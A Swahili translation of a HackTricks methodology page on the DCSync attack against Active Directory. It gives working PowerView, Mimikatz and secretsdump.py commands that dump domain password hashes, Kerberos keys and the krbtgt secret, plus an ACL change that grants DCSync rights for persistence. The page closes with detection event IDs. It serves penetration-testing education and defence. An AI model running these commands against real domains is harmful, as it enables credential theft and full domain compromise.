hacktricks/src/windows-hardening/active-directory-methodology/dcsync.md

DCSync

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DCSync

Ruhusa la DCSync linamaanisha kuwa na ruhusa hizi juu ya eneo lenyewe: DS-Replication-Get-Changes, Replicating Directory Changes All na Replicating Directory Changes In Filtered Set.

Maelezo Muhimu Kuhusu DCSync:

• Shambulio la DCSync linaiga tabia ya Kituo cha Kikoa na linaomba Kituo kingine cha Kikoa kuiga taarifa kwa kutumia Protokali ya Huduma ya Kuiga Katalogi ya Mbali (MS-DRSR). Kwa sababu MS-DRSR ni kazi halali na muhimu ya Active Directory, haiwezi kuzuiwa au kuzimwa.
• Kwa kawaida, ni Wakosoaji wa Kikoa, Wakosoaji wa Biashara, Wasimamizi, na Vikundi vya Kituo cha Kikoa pekee vina ruhusa zinazohitajika.
• Ikiwa nywila za akaunti yoyote zimehifadhiwa kwa usimbaji wa kurudi nyuma, chaguo linapatikana katika Mimikatz kurudisha nywila hiyo kwa maandiko wazi.

Enumeration

Angalia ni nani ana ruhusa hizi kwa kutumia powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Fanya Uhalifu Kwenye Kihisia

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Fanya Uhalifu kwa Mbali

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc inazalisha faili 3:

• moja ikiwa na NTLM hashes
• moja ikiwa na Kerberos keys
• moja ikiwa na nywila za wazi kutoka NTDS kwa akaunti zozote zilizowekwa na reversible encryption iliyowezeshwa. Unaweza kupata watumiaji wenye reversible encryption kwa

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Persistence

Ikiwa wewe ni admin wa domain, unaweza kutoa ruhusa hii kwa mtumiaji yeyote kwa msaada wa powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Kisha, unaweza kuangalia kama mtumiaji amepewa haki 3 kwa kuziangalia katika matokeo ya (unapaswa kuwa na uwezo wa kuona majina ya haki ndani ya uwanja wa "ObjectType"):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Kupunguza

• Kitambulisho cha Tukio la Usalama 4662 (Sera ya Ukaguzi kwa kitu lazima iwekwe) – Operesheni ilifanywa kwenye kitu
• Kitambulisho cha Tukio la Usalama 5136 (Sera ya Ukaguzi kwa kitu lazima iwekwe) – Kitu cha huduma ya directory kilibadilishwa
• Kitambulisho cha Tukio la Usalama 4670 (Sera ya Ukaguzi kwa kitu lazima iwekwe) – Ruhusa kwenye kitu zilibadilishwa
• AD ACL Scanner - Unda na kulinganisha ripoti za ACLs. https://github.com/canix1/ADACLScanner

Marejeleo

• https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
• https://yojimbosecurity.ninja/dcsync/

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